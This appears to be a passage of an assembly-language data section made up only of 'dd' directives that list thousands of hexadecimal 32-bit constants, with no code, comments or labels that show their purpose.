		dd 59B6D8F5h, 85BB0088h, 22CB4B0h, 94002DA7h, 0B7B9CFCCh
		dd 3A4A25h, 8462F89Ah, 0ECCB198Ch, 665A5601h, 9FA38911h
		dd 4A01F1F8h, 3A0016Eh,	308F2D57h, 0B1E2834h, 0C101B786h
		dd 9F17929h, 81B4DCh, 0FB87CE3Bh, 47F3751Bh, 0B6CB23Ah
		dd 3A5808h, 209EAC8Ch, 6AEA0087h, 887DED46h, 0AD00EB91h
		dd 0D7C1A30Ah, 39B8236h, 48CFBA80h, 21D0BB1Ah, 0A4070D28h
		dd 95CC3545h, 0EF19A210h, 1C71E0B4h, 645615E6h,	6AC8002Ch
		dd 0EADBC52Dh, 4CDFB500h, 0F26B2BACh, 0B76600D5h, 3488824Eh
		dd 9400538Ch, 5B8D90C5h, 0E8C302A4h, 0A20A3AACh, 61346E80h
		dd 820C98EAh, 9C244D00h, 2CEEC78Ch, 35300E8Eh, 90C037A3h
		dd 0F7D0B30Bh, 0F4269BA1h, 63007827h, 0DBA8877Fh, 0F235Eh
		dd 3D40AE68h, 9A8DE2E7h, 92003EFCh, 795F7320h, 1427DD24h
		dd 0B42CC717h, 0A6D80072h, 0CE304686h, 0C6043119h, 5A788454h
		dd 702FC282h, 0D61E17DCh, 47C2065h, 6B2D5025h, 0F11B407Dh
		dd 0C77A026Dh, 9E0867D3h, 2E1B1440h, 761D547Dh,	3B40480Dh
		dd 4EF3667Fh, 2DBB5CD5h, 20A5AB16h, 769D3244h, 2E839400h
		dd 34BFE90Eh, 67E885h, 7DDF3C64h, 0D5F34DECh, 3DA09E00h
		dd 8EFB1244h, 4072590Ah, 33CDD603h, 0D800F9A7h,	934AAFC9h
		dd 1F24CA3h, 219C1285h,	82FDFB08h, 0CA349720h, 0F2F4A01Dh
		dd 0E01802AAh, 0A4B807h, 2758609Ch, 41427506h, 4313F90Fh
		dd 2FEF406Bh, 0C10C6h, 0A88223DBh, 0E204B456h, 0F89F4731h
		dd 4CEC52C7h, 8EA005Fh,	0A43755DEh, 0F4010E4Bh,	0C5F99B88h
		dd 20206EBBh, 0D4D909DCh, 54407C21h, 0AB0731FFh, 0BEF109C7h
		dd 0C1BFE2F2h, 4DC0EB49h, 67AE1FE5h, 383589F9h,	3609420h
		dd 5761F3E6h, 0D92E1350h, 0C843AD8h, 5A4DEAF2h,	594FFE28h
		dd 480298ECh, 6330A3BFh, 0E6BD9490h, 0E497B600h, 0BE2440C2h
		dd 0C6A330BCh, 1C04A250h, 68AD7317h, 33B18C00h,	4029CB3h
		dd 0B75D4F3Ah, 91DCC076h, 41003003h, 0CF154878h, 8A3BA2h
		dd 0A1386636h, 0B3AB4451h, 908F7607h, 1B02EBh, 0A483CD50h
		dd 2E6902D3h, 8A896CBBh, 0B0D4E480h, 72FF3BADh,	0AF9B027Ch
		dd 0C03FA93Dh, 0CD1C07h, 776B0799h, 0DF8EF039h,	1698EF05h
		dd 8143A5Dh, 81433E3Ch,	0CBA93460h, 20E4A21Ah, 2E4AE1h
		dd 56742BB4h, 1600AE6Ah, 6EF384F5h, 765FE8h, 36CCC8F0h
		dd 0D5FE0ABFh, 4F001070h, 95E64EA7h, 264B9D15h,	40A91Dh
		dd 0D51835B1h, 9002117Dh, 5ADE2EE7h, 0BDBC806Ch, 0D4322Ch
		dd 2F240562h, 102343A2h, 58BEFF05h, 4080C2A6h, 7A092811h
		dd 2A0E2849h, 8A2F0FE0h, 0B8801E15h, 3C9EF8A1h,	0B0EEF000h
		dd 0D6AA33D5h, 0D1B6009Bh, 45FEFA76h, 70C15972h, 0CE9A3036h
		dd 0D209F4h, 4CBE3EB7h
		dd 0D01BD425h, 0C320A900h, 71FE2A86h, 0DED600F9h, 74410FFBh
		dd 8A0D7A2h, 0F402B23Bh, 9190D52Ah, 72C4E099h, 0A5FF00F0h
		dd 2C124BF1h, 7005051h,	0BA20BD1Dh, 0F75BD6h, 47988D76h
		dd 0DAC6A922h, 413CA600h, 3872FB4Fh, 0EFB865h, 9A21B61h
		dd 0EF279930h, 56289400h, 0B5FCECCDh, 0A1860031h, 6A6C022Dh
		dd 4702AB12h, 36457D14h, 7544C049h, 0AFE33B1Dh,	420FDE80h
		dd 0C278B0E9h, 8E105300h, 4FAEE115h, 0F1C30056h, 0A78D7A88h
		dd 691C9291h, 6584AC22h, 18C0BECFh, 3FAFE606h, 0E7009EBAh
		dd 0A5E00764h, 670080CCh, 8A6DB2F8h, 0C6D6D0h, 89F430A0h
		dd 79255A9Ah, 8A004F2h,	0BC097B23h, 0A9B7EE1h, 9C028C64h
		dd 60ACA915h, 19E3040h,	6B99BB37h, 605AA110h, 0A004B21h
		dd 0C7FF59DDh, 792287Dh, 0A4D12697h, 9181E03Bh,	5C004DF6h
		dd 0EE4F017Eh, 25724EBh, 3314841Ah, 0A0FA83FDh,	480330A4h
		dd 5BBF61D0h, 0C14FFF93h, 0C94CED1Fh, 3F4DC8D4h, 4A0086D8h
		dd 0A1C6BC95h, 0A200F1AAh, 0CD9B7650h, 0F2B278EEh, 0E6BE37FAh
		dd 1C600A58h, 549BC0F0h, 85CA499h, 0B109B3EAh, 0C1BD1353h
		dd 0EAFC3D50h, 0B3807D5h, 94A75C9Eh, 7B20C0FAh,	6F003037h
		dd 0EA910976h, 0A01DA8h, 8C4064BEh, 6B37A4A2h, 6FF86507h
		dd 0B3076CE0h, 0AA3E9F30h, 0AEA7004Bh, 8FE90A4Dh, 23E8CB02h
		dd 0D33C6090h, 0C76500B8h, 73B4954Ch, 5AE4F5h, 4A594DBEh
		dd 3E03981Eh, 92007873h, 0C915DB84h, 0CC2A96h, 0CD25DCABh
		dd 140EAFD5h, 84D40200h, 23B7EEBFh, 0EC95005Eh,	7A2B2A6Dh
		dd 6E1F570Fh, 4604B320h, 1C80C1D3h, 5B4232h, 0DAEDB27Fh
		dd 716C33FFh, 0BBA4F100h, 52796F0Ch, 2A7B1E5Fh,	5419D4Ch
		dd 0C1FA269Fh, 8E3AE9B5h, 40772811h, 0B5491DAh,	21C9029h
		dd 1AA421B8h, 70C0EC52h, 43848E2h, 2BC1C6Ah, 0F8319A00h
		dd 24DF87B0h, 1494C94Dh, 7102AC23h, 86522199h, 0A2800843h
		dd 3B266148h, 701083Ah,	60809313h, 2E231020h, 9F06E7Ah
		dd 6C8054A4h, 0A13CC75h, 8048392Fh, 0F47DAE9Ch,	85F009Eh
		dd 2927AA40h, 0AD038EC0h, 5D72A374h, 8976A194h,	709D4420h
		dd 0D46D00D0h, 195F4707h, 0C900F6D3h, 546EE560h, 1F785B43h
		dd 1CE26BD8h, 66A000F0h, 7C2F4875h, 0A377401Bh,	0CDE29810h
		dd 0AB05009Fh, 0F6A5CC97h, 80F15293h, 0B7170621h, 124FCE1h
		dd 0ECC4E0Bh, 0C491F2C4h, 4D008784h, 0B70D2147h, 3B0B12Ah
		dd 0B585FDA1h, 82E85AABh, 0D8003677h, 3CDEEA7Ah, 0EC664Bh
		dd 0BA9574DAh, 0E65EB4E7h, 0A64C6201h, 0E3F4BD23h, 2308B20h
		dd 0B617EC14h, 0C840799Bh, 6E00896Ah, 0CF81CB1Fh, 0EDBF6Ch
		dd 0ACD2DFF6h, 31A439D0h, 4B9BE800h, 370DBB1Ah,	0F8577E02h
		dd 42E90ECDh, 801D6E61h, 0F8453A93h, 970B76C2h,	0E05625EBh
		dd 6D4521Ch, 575BAE9h, 70B61A36h, 34678800h, 4824DDh, 97F27695h
		dd 1873B64Dh, 997D3B0Fh, 8B445h, 0EFA79F87h, 0D65CF8h
		dd 16281A77h, 0C70AD33Ch, 7D5D8000h, 0CDFA0239h, 3150074Ah
		dd 618C1B44h, 32AFEAC9h, 747E2600h, 800D030Bh, 0C1CB60C0h
		dd 8C800190h, 0C0CC3879h, 6A646062h, 0C478EF00h, 86F19352h
		dd 8E20148h, 5F14CEF3h,	0A3B460D5h, 0D6F22D00h,	0B91C94CAh
		dd 30E25859h, 4A8FEA00h, 53337296h, 0BD955A00h,	761093E7h
		dd 8772F9h, 0B5A52331h,	0BAFA4BA3h, 0DC0FB900h,	0EFAD19DDh
		dd 664602BDh, 51D30ABBh, 0C4214860h, 89BFE600h,	7FB193ACh
		dd 0EB6203EDh, 0C6F16955h, 0C97A46E1h, 0DCA7CC95h, 840FD77Eh
		dd 0E0CE22A2h, 0D65F639Ch, 0B4C70196h, 4198323Fh, 6878E8h
		dd 0A01A6188h, 9A351Ch,	4CF10FBDh, 11A73963h, 0B8821F00h
		dd 0B322FF70h, 8035076Fh, 500849BAh, 9C196B50h,	6677E00h
		dd 336D523Bh, 25970E0Eh, 0C3FE4138h, 0FA6E6950h, 7B586800h
		dd 0FDEF8573h, 46E705CFh, 919AF31Ah, 0E166E100h, 79F7F088h
		dd 1985FC31h, 2040C009h, 1DA4C7AFh, 0C85144h, 9431F340h
		dd 0F07C536Eh, 23BDD925h, 0E0FD7FA0h, 9645381Ah, 0E33B86C4h
		dd 0B80021D2h, 56FA9F27h, 247B4CADh, 9852Fh, 8EA1BBCFh
		dd 1CA0483Bh, 10E3EED9h, 1D4CCD42h, 0C956A02h, 0B1603E1Eh
		dd 23617C00h, 0AA0CFD7h, 0FFF900E4h, 0C9D4E1DEh, 0BE032C03h
		dd 2DC62545h, 0EDF7E804h, 0DDF03BDh, 0FE09E7C3h, 372403B8h
		dd 0ADAB6C06h, 717305h,	8F8C75BBh, 47B3F435h, 45F59D00h
		dd 0B9F0DBE0h, 48380C15h, 3EA836C5h, 27B2C700h,	9DA0E3A8h
		dd 38090064h, 37297D44h, 794B58DEh, 5F3B5CD0h, 32D70167h
		dd 700EC1E7h, 71BC7Dh, 0AF0A0C66h, 523F662h, 97BA8E42h
		dd 43CAC70Fh, 0D1CB4D1Ch, 2BC04900h, 0BF50817Ch, 38430735h
		dd 400F7E7Fh, 89C5235Fh, 0AC0033ECh, 53C744BAh,	0EAA30E6Ch
		dd 23B8ECh, 0E38B6179h,	6DE78646h, 59C0B17Dh, 96F57F82h
		dd 0F9CA0015h, 1941E72h, 0C3C500Bh, 8A709916h, 76D8E0B1h
		dd 97B11615h, 0A1750007h, 4C26E447h, 5BA1300h, 0B06AD6A0h
		dd 1CAE4DAh, 0E40753C5h, 0F3C93F3Ah, 9B1CA9F8h,	13E3B100h
		dd 8A532376h, 2EBE3B42h, 6738433Ah, 4C0FDC3Fh, 0ADC09F7Fh
		dd 935E8DBh, 0B8EC2A0Fh, 0B4794361h, 7390039h, 0D128B212h
		dd 0A219BF09h, 0FF086186h, 3D8C2180h, 93CC33B2h, 5BB11E00h
		dd 6DEAE41Ah, 6371002Fh, 0ED5E96CBh, 0BFF8B646h, 2D4380C1h
		dd 40BC892Eh, 7C342A0Fh, 0C087A340h, 1F3A0B4Ch,	0B12C30C3h
		dd 0F75ACFFh, 3F515B44h, 130BE5A1h, 0FC809D06h,	0BD3B2F40h
		dd 3B7DDE22h, 89006DA3h, 0A54923ADh, 0BA1F1930h, 0CE800E37h
		dd 4D4BEDD5h, 0DB58E8E0h, 480160A0h, 4FA4D657h,	18814B92h
		dd 0B6F0634h, 0DE2180BCh, 56384943h, 315FEC62h,	0C4087A39h
		dd 0FD208068h, 0DCCD493Ch, 0E9FF0052h, 9E25F71Eh, 0AE03E5F0h
		dd 0BC6AB5A8h, 8263977Ch, 2279015Dh, 0E8111304h, 0C393702Ah
		dd 3059E23Fh, 2C1D21BBh, 877313h, 1EC873FDh, 6FB5054Dh
		dd 0A876DE30h, 81C657h,	1B331D0Eh, 0EBD53B3Fh, 0F5D61E00h
		dd 0B58B6BB7h, 0C3EF0041h, 1BF85632h, 78007AFCh, 3F4FCCF1h
		dd 2747D5Ch, 196F7E5Dh,	85E0188Ah, 0CC25A486h, 1E68D855h
		dd 0C003259Bh, 699337E0h, 76004BAFh, 6E134EC3h,	756EEA5h
		dd 989EBF8Dh, 4797404Fh, 0A604C632h, 5E107E6h, 25635D81h
		dd 957BDCh, 64FCFB37h, 2DDD2256h, 0F2AC900h, 0D71F0146h
		dd 80FF3D87h, 0C2FDA800h, 3C5F75C6h, 1A683Ch, 7A66ADA6h
		dd 36DB09h, 0B3673EF5h,	615C6D59h, 7807A000h, 1565B5ECh
		dd 9DD90019h, 7B810E3Fh, 5702EEF4h, 0B5E576DBh,	0A01860E8h
		dd 0AE543AA7h, 4100E93Ch, 1ACA379Eh, 40184C84h,	0DD0897E2h
		dd 6F20C1A3h, 0DC7B3786h, 8F0053BBh, 44E3908Dh,	0B0782F54h
		dd 0F7550C8Fh, 6151B366h, 2292FF00h, 6EF8B63h, 0DAAE01F0h
		dd 0FAE47C76h, 0FC881A9h, 0F559115Ch, 49A03087h, 0B9EB30A4h
		dd 54339583h, 0B6DB0947h, 0CCA93920h, 0C5858780h, 3689EEAh
		dd 5AA32E13h, 3C551900h, 50245E5Bh, 0E8E8CD9h, 40E654E8h
		dd 292F10D8h, 0F87F5100h, 41A6431Fh, 39A400A8h,	77DD6A04h
		dd 0B019E73h, 0F525C916h, 7D02727Ch, 528604B5h,	10B1E7h
		dd 80C2EB54h, 7019294h,	0DB09AC7Eh, 8C4D78h, 53C2722h
		dd 83CA0080h, 7330ED7Bh, 0EE0033E7h, 0DDACE4Bh,	1F70A04h
		dd 6B3B02E1h, 0C0CA915Ah, 0D200ECE5h, 9DA4DCA9h, 5E68ADFh
		dd 5C493675h
		dd 452B80C2h, 990156EBh, 33BFB442h, 0C03FB5F5h,	0F0EA34AAh
		dd 801F1039h, 5208661Eh, 1F1DAACBh, 40D9EEF7h, 7DE0B36Dh
		dd 0BF00CD61h, 1F09346Bh, 1DE30301h, 0C065906Ch, 6D0F71D3h
		dd 6F03E449h, 92F78CAh,	0E2BF3E1h, 40C0F228h, 0EC92CB20h
		dd 0FB001FE9h, 29D85E70h, 0E39E9F8Bh, 38D7D8h, 0BC2FE258h
		dd 2F51EABh, 7201EA77h,	0FDA43C57h, 2E70BA20h, 0D21700A1h
		dd 0C6B60E58h, 0A2010D32h, 0DA77433Fh, 8BECB2A9h, 3AE30069h
		dd 0D325A6E9h, 3B0A2363h, 0CC7B7AEDh, 0A793600h, 537446Fh
		dd 0CB753032h, 0C266C031h, 0DE03F7CCh, 0FB204170h, 918CC8BCh
		dd 6990C0ADh, 920D2DC4h, 89840300h, 0D4DEA5C8h,	3B250938h
		dd 1821F91Ch, 704A4DBFh, 930008DEh, 86C96C61h, 5C6970h
		dd 208A2522h, 0A6E60E12h, 0E08B58CEh, 0AEAC9FC4h, 615300D8h
		dd 84EC3D7Ah, 0BB0065E7h, 0C6F9464Ch, 0F7393Fh,	0A6B015C0h
		dd 2AD63574h, 4057DF00h, 6D7D51FBh, 8D29029Eh, 0C837542Bh
		dd 5D468480h, 1817F29Fh, 43A96679h, 0FB1C2607h,	8BE520DEh
		dd 98C21D7Eh, 43550B11h, 3852B88Dh, 0F80AF84Bh,	600700D3h
		dd 0B09CEBAAh, 2000F383h, 9272F6C3h, 1F23F92Eh,	803C98B6h
		dd 0B7028C55h, 42679556h, 43B00880h, 70ABF4F0h,	506D1CD9h
		dd 0C79B0024h, 7C7E8312h, 0F7E5201Dh, 0D0AC8980h, 0EB8501h
		dd 9F1CB49Eh, 0C9DD7036h, 7F7C3A00h, 94605F5Ah,	0D9E8A1h
		dd 0D85DBC92h, 4083BAADh, 49004E98h, 4B4F5B04h,	95EF3Bh
		dd 0E9325FCBh, 2BA27D34h, 0EC0010E8h, 2FD8E093h, 5D1C9Eh
		dd 0D4190448h, 0C085AC8Bh, 4CFB5102h, 4009A7DFh, 0BC3EAFh
		dd 3975DE12h, 0E0187AB5h, 602A6E00h, 3F16B9CDh,	0DD90381h
		dd 92A2595Ch, 0AF1CD0BFh, 7400EDCAh, 9F7AF28Ah,	1E9020D1h
		dd 8FBF2452h, 0A52046D2h, 32253AAAh, 0D9006575h, 0D78D9A8Ch
		dd 5B9CF55h, 3EE1B4E3h,	0D48C00F7h, 1BD2FBC6h, 0A133E000h
		dd 0AA1CE999h, 0EFDD060Ch, 0E0BB15CCh, 8364683Eh, 0D4DA13BAh
		dd 87580062h, 8E1A4553h, 0F501CC14h, 0DD49F9B8h, 5A20566Eh
		dd 7E507BBh, 0B04D3D77h, 66BA1891h, 0F05C6F7Eh,	0E86E1865h
		dd 0EA921h, 401D1EDDh, 49D9366h, 0E02518CEh, 0CDC84357h
		dd 9572D8h, 0FE24AE69h,	0AAC5D43Ah, 62143300h, 78CC075Ah
		dd 0AD6D121Ch, 68AE0BCBh, 0AF409E0Fh, 42EC31E2h, 5CDC3000h
		dd 0F5C5E36Ch, 93B401C8h, 0FBEDFA4Fh, 0E051E818h, 0ECC74E0Eh
		dd 2985AC06h, 1A50060h,	0CD04224h, 7D24C978h, 3A48EEh
		dd 0EBB9B455h, 16488ABh, 2B3FA480h, 0E0770B6Eh,	0EEA42DEh
		dd 0CE5EC824h, 4133BB00h, 18E32D3Ah, 12C1AA71h,	0D8394772h
		dd 833939FFh, 0A53F946Ch, 0AC6EA8D9h, 0CBE03EBh, 22CFBA89h
		dd 8EF42FA0h, 0E80012E4h, 0DE16D4F0h, 1714F611h, 0EBBF1E7h
		dd 1980E2BFh, 0EB922EAFh, 7430C51Eh, 3AEEEF00h,	10FD67h
		dd 16D37A28h, 99FE927h,	630D4B0Fh, 0EBC14099h, 76D1E25h
		dd 389A13F2h, 5485904Fh, 331E40CBh, 1C0426F0h, 0FB87EFh
		dd 2A809D68h, 0DA00538Ah, 0AC74AE5Fh, 6FA5C6h, 0DF9D9F0h
		dd 0D154238Dh, 0E3C33200h, 0AA55EBA3h, 368E00B5h, 0F6B37E17h
		dd 8300A9ABh, 3AA00F8Ah, 0E6AF2924h, 589401A5h,	68187F1Ch
		dd 7DC080D9h, 0FB90CB64h, 22523869h, 0E3406081h, 0C089359Bh
		dd 9A001F08h, 74665793h, 13BB1CEh, 0A325A7FCh, 0D1CB9E47h
		dd 400E8E20h, 17CCA572h, 58628400h, 0FC6BCE6Fh,	1974A5h
		dd 0D8E6F1CFh, 10CC09A3h, 68148430h, 0A0C970B5h, 92A6DFh
		dd 0C46D63B8h, 0CF2C86DBh, 0B9FAAD1Dh, 0B8C67C0Ah, 43D15D82h
		dd 2F9200Bh, 12165371h,	0A300C53Dh, 0EB95A6C8h,	7BFC0076h
		dd 464F0441h, 4B0FFA89h, 478ADE75h, 0A260C774h,	131586A9h
		dd 53DD8CAh, 0C3B374h, 0AF655ACCh, 3B07B526h, 60B8721Eh
		dd 0E3AC8460h, 6CC70705h, 4014A519h, 735A9E2Ah,	0D7799814h
		dd 663F00F3h, 965625D4h, 890EAh, 5E27E190h, 0AAEDCF7Dh
		dd 8BF37C00h, 83C5D975h, 0F6390081h, 8DA7EF78h,	349188BEh
		dd 73318F00h, 0C111D6h,	37EAD3E1h, 0BBADE2B2h, 0EEB04300h
		dd 236B1CD2h, 0C5D00069h, 0A63CD94h, 0A8036051h, 0EC4ADC42h
		dd 0AC08C8F0h, 3F240086h, 8171BD32h, 6B0035A7h,	3A12B91Ch
		dd 3F9D343Eh, 11603F93h, 0F0B0058Ch, 80EC503Fh,	88C11B5Fh
		dd 7B71B995h, 0D6A8005Bh, 0ECB40CB2h, 0EE0007B5h, 9A61CF5Eh
		dd 0EFC454ABh, 8D099440h, 95BE0029h, 0FEB7DE51h, 2817D191h
		dd 7F00EC99h, 7057697Ch, 3C2EC0CAh, 0AFA37D11h,	2400B890h
		dd 6CB56571h, 0E276B83Bh, 0AA32000Eh, 5C553F5Fh, 331EA611h
		dd 0A802F0Bh, 44E50DCDh, 43F3075Bh, 2264EE09h, 8814126h
		dd 0EC4D5767h, 35039FFFh, 0F9247566h, 98AE8B5Ah, 3BD3E7h
		dd 5B3195C4h, 0A212DC28h, 0C8DA9800h, 0A66272ECh, 3EBAECD8h
		dd 8200056Ah, 28AF67B9h, 530BCD25h, 74B5FD30h, 50C800E5h
		dd 19A4BA7Dh, 113B29E4h, 3D070443h, 0C48709B3h,	0B5FF9CC1h
		dd 4F26E99Fh, 15AE79ABh, 2CF77D80h, 5E23206h, 7500B0F8h
		dd 8D385AECh, 0A0719C0Dh, 17E50A1Ch, 0BD9D09h, 0F6ACF0B1h
		dd 410DD1BAh, 4131C99Ah, 300AE98Ch, 0B1F8AF78h,	7947A084h
		dd 4CB0C4h, 4969DDCFh, 531900Dh, 0AC8A320Eh, 2540A193h
		dd 5920910Eh, 3CF21DE6h, 0BA734094h, 6BAC7263h,	0C0F849ECh
		dd 99A95D07h, 79E0564Fh, 1D9F5348h, 14B7C6h, 0BDE56631h
		dd 853EEAD4h, 1E6B1EDAh, 6235BCC0h, 31ADE1Dh, 51AD8605h
		dd 7790A47Eh, 0BA007A6Ah, 2AF280F5h, 168045Ah, 0CAB83A20h
		dd 0E801C3BBh, 600040A2h, 0C222A31Bh, 96C15Bh, 788EE4F6h
		dd 0E5735C56h, 8AACD51Dh, 0C3DE853Ch, 7C80E9CCh, 0DDFAA5h
		dd 225D36DFh, 571337DBh, 9839ED2Ch, 0A0B8410Eh,	0FF3C2D30h
		dd 44AA00FDh, 4DA54679h, 663A2EBFh, 24AD809Fh, 0D71EB125h
		dd 0DD970EDAh, 0D834D89Bh, 4CE76D00h, 0EFF7F4E8h, 5C66A600h
		dd 0D11789D2h, 3F0492B6h, 3E801BD6h, 70B09186h,	2E30B447h
		dd 4628A1F3h, 73C77ADh,	3A934579h, 6CC9B195h, 0E450829Fh
		dd 405EBD19h, 304B0B1Eh, 7859B7D0h, 8F17830Ch, 0AE006F15h
		dd 0E24721DFh, 0FE4C00C2h, 0BD93677h, 0B848A806h, 82AF0554h
		dd 14903CC4h, 8B4D2Eh, 9E8A3A39h, 0D6B578Dh, 0B2E10800h
		dd 0EA692FA1h, 82B30FDEh, 0FD732Bh, 0CB0AAB48h,	3C0E9209h
		dd 802E29C7h, 0DE39EF1Bh, 0B12100F5h, 2491F6BAh, 6E707247h
		dd 63A39000h, 8D97F018h, 49821D52h, 0D505407Ah,	0B326FE3Ch
		dd 0C33020C0h, 7AB10CBh, 0AB94D9Bh, 48C9A0C8h, 0F250B7FCh
		dd 28C062C0h, 9CEE2C2Eh, 81B30031h, 96284B84h, 6F0085D1h
		dd 5073895Ah, 0E05CBD35h, 0D6794Ah, 0CEB7A263h,	0B1D7FE23h
		dd 3B4F410Dh, 5CE0788Ah, 3F700E26h, 820CFCFBh, 6E00A5B1h
		dd 764BDB08h, 429E55h, 9F9BE5Bh, 0BDE150EBh, 0F1E98C00h
		dd 72E2A8B9h, 18EC716Fh, 40A2E789h, 0BD014A8Ah,	3EE0FFD5h
		dd 1983EA01h, 8417242Ah, 0EE7E80F4h, 5B00CEADh,	83DAA75Fh
		dd 0FD96D691h, 1F49DC0h, 649E0A29h, 0C8FB89F7h,	3E002032h
		dd 0FE56BF40h, 110BDA4h, 0FF637C98h, 0D0C26280h, 0B60F8A30h
		dd 40944850h, 0CA4FCC77h, 7F7B1CC8h, 51440CD1h,	4A54510h
		dd 87826055h, 0ED005B29h, 78287EDAh, 5D58D7h, 2C0D9A23h
		dd 187A9B38h, 48ACE303h, 0C4744A2Eh, 6AD17303h,	0F529FCB8h
		dd 7E71DF1Ch, 64F79F0Fh
		dd 3680F35Fh, 0B0AE64F8h, 0DC900077h, 0FD9ECCDAh, 0FA00CF50h
		dd 0EDF82993h, 196751h,	1348A6C1h, 2D5EFE66h, 0CDBADB15h
		dd 2BF4ED70h, 110DC50h,	0D253C1C7h, 86D9F8E4h, 1EE0EB4Ch
		dd 51C0AC28h, 780B70Fh,	0DFD6322Fh, 0CE11CC29h,	2B01ABC5h
		dd 0DEA411B4h, 44780417h, 0F744CC13h, 0E1A044B3h, 44AAA444h
		dd 134ACB0Fh, 0A5BA083Ch, 1914B894h, 0FFA124EFh, 0A4A92841h
		dd 3510BC12h, 1B29C41Ah, 921844B6h, 33427048h, 0B5E72219h
		dd 52B13C21h, 11DA5401h, 0C312F83Dh, 11FF5C11h,	3E912851h
		dd 20AF44FBh, 1B7C7F5Bh, 802C29C8h, 5B92B920h, 8F004951h
		dd 9A31222Ah, 0EF5AB3h,	9C1A78E0h, 69B0814Ch, 0E53F6A01h
		dd 0D710B508h, 562CF4h,	1319CBF0h, 55BAF1B4h, 45443C00h
		dd 4A7762DDh, 0F5C10ED0h, 0F0E01F42h, 6E8FEDE8h, 0A0D8AE00h
		dd 877CA24Fh, 587659h, 0AD49081Eh, 504EE004h, 0DC82B2Ch
		dd 0E1CD4600h, 19ED35h,	0BC0D6D29h, 5738AFDFh, 1D0074F0h
		dd 0EF437B99h, 77A52Fh,	682CE3Ah, 7ED6C815h, 7B117001h
		dd 132703DDh, 65F43825h, 0A56F03F5h, 99A41B4Fh,	73CF16E8h
		dd 60226C00h, 0C25FD0B0h, 20A63C1Dh, 0F4A86480h, 77B76526h
		dd 0A90C1900h, 0A6379DC6h, 6BA5029Fh, 0D727EDDDh, 97F6C40h
		dd 9B2E6201h, 0EA40655Bh, 3BF56E8h, 0BDD63FD1h,	0A4834C1Bh
		dd 0B0E14EB0h, 51E51900h, 543EC9B7h, 8083036Dh,	1E536627h
		dd 90D016C8h, 2DE7A000h, 9EC72BA2h, 0E1A0A082h,	78FC3C26h
		dd 62236100h, 0E7D533F2h, 472E12F8h, 0A800F8E5h, 9351BEB2h
		dd 2D4500D3h, 0AF39D62Bh, 0C7006421h, 2F6E1FAEh, 5C2A9E96h
		dd 0BC008DA7h, 0F2135CD1h, 71243D5Ah, 0D830489Fh, 310E168Dh
		dd 0CEA84F84h, 9BE5C815h, 3967A700h, 0E3CDDF95h, 0E11D0096h
		dd 898F4A3Ah, 56071161h, 1664CE52h, 0D308ECE0h,	977154h
		dd 1FB2F72Ah, 58DF8C99h, 7D523800h, 44C3C6FCh, 162100F1h
		dd 0D8E7CB1Eh, 0C100AAC9h, 1BA0D7EAh, 0B5F5ADh,	0C8FB72D4h
		dd 99FD603Eh, 71F22F6h,	7A4002C4h, 45788A51h, 3B9F0EC9h
		dd 4D40C6B2h, 659920F1h, 68135A01h, 270452ABh, 1F9C3ADCh
		dd 44D32E8Dh, 8046A535h, 0FE75414h, 0FBDF7300h,	0AE5F7174h
		dd 20AF016Ch, 57EAD880h, 81622028h, 0C67FC8A0h,	7B8D3600h
		dd 0B61CAA71h, 0C7FE2E2Fh, 1AAE0017h, 0FA7386A1h, 3A403906h
		dd 7E649148h, 0B1BF006Ch, 10EDBB94h, 7A03097Bh,	0BD307F0Bh
		dd 77300176h, 890CBA69h, 0A9EC4046h, 0EB1D632Dh, 34001F75h
		dd 4461D837h, 0FAE73F03h, 28AD2005h, 0ABEBC030h, 27003FCAh
		dd 99C932A1h, 98CB9Fh, 64B435E0h, 85813CDCh, 0BF2F2700h
		dd 26EA9533h, 3BA1010Bh, 36B1D0C6h, 0EDD8309Fh,	9700A6F4h
		dd 0C5D3EF2Eh, 0DE4A3Dh, 0B32665A2h, 0B05F6084h, 0A4FACD0Fh
		dd 0E301579Eh, 25C31F0Ah, 7F3CF970h, 0D07600C8h, 92F1DD24h
		dd 14989EDAh, 53B6C300h, 1D72B06Dh, 9820E3E9h, 1A990087h
		dd 65E3D808h, 0BB00E04Ch, 5F8B7CDFh, 987EB574h,	0AA3D0028h
		dd 0D80E2561h, 0AD00CF98h, 93900DCBh, 39AF4C8Bh, 384DBBD6h
		dd 0D13AF70Fh, 13BE4061h, 48396054h, 30001090h,	9ABCC387h
		dd 1252A17h, 230183E1h,	0C27C4E64h, 0BC80F842h,	63599C40h
		dd 6CABE400h, 6BE5122Dh, 7A0B0A45h, 394E815h, 0D41A2C84h
		dd 0B135C0FFh, 190029ECh, 0F64D0E34h, 6079C8h, 9AB5ED22h
		dd 0AA9D5736h, 0A3A86504h, 0C0AB472Dh, 0E1F2ECCEh, 6A1D247Ch
		dd 0CF8028E5h, 16FB6E44h, 7DD7001Fh, 3458455Fh,	84003EA9h
		dd 6AEC0C94h, 8E2F90h, 8B43CEAh, 0A30BA150h, 0FC028D2Ch
		dd 21577A0Ch, 0DA5002Bh, 3CDF8A7Fh, 48E68112h, 0C2742D07h
		dd 67805864h, 95DAD7h, 0A0D07891h, 0AAEDA12Bh, 0A8240D00h
		dd 0DF54CB59h, 0C2081C88h, 1066E1h, 7404C73Dh, 4D1D2DFFh
		dd 164046FEh, 0A957D78Ch, 0FC8E1CC5h, 32CDC114h, 0C81F794Bh
		dd 66003B31h, 26569E41h, 1383C86h, 8EA74463h, 0B3275Ah
		dd 5407731Ch, 3BE1ECFCh, 5222AA23h, 0FD4E3B01h,	462F982Ah
		dd 132ACBE5h, 9C1C005Ch, 0B4513D92h, 127D709Dh,	0EBC5C0h
		dd 0BED94730h, 0E7F96C3h, 94882E2Ah, 857D6003h,	901D6337h
		dd 6BC224Bh, 50C5A62h, 4F0154B4h, 9F58D146h, 67E86880h
		dd 0C9A307D9h, 0C0F17BE7h, 570EEF5Fh, 0BB445C1Fh, 401B39Dh
		dd 0A4C8072Fh, 1D6316F0h, 40F782FBh, 0EF5C56CAh, 1A4C8965h
		dd 4E27004Ah, 0E42C907Bh, 0FACC0116h, 0B5D594A5h, 0A2802430h
		dd 0B7E09E00h, 0BD84B0Fh, 3FA3000Dh, 5A72AD59h,	38008B70h
		dd 0EF9E0586h, 12356CC5h, 40796B31h, 3A97F9E4h,	511EB813h
		dd 0F02D007h, 60E00B41h, 0F724568h, 76DE1446h, 29084076h
		dd 0A044ED4Fh, 83A4D500h, 7C4A9166h, 0DE420469h, 8037FE63h
		dd 98827FE4h, 1906E4Ch,	741E9F11h, 0A0C496BDh, 0BC4A5803h
		dd 0FEAD0600h, 0A8415CD9h, 30603300h, 3B4F2F1h,	2F29829h
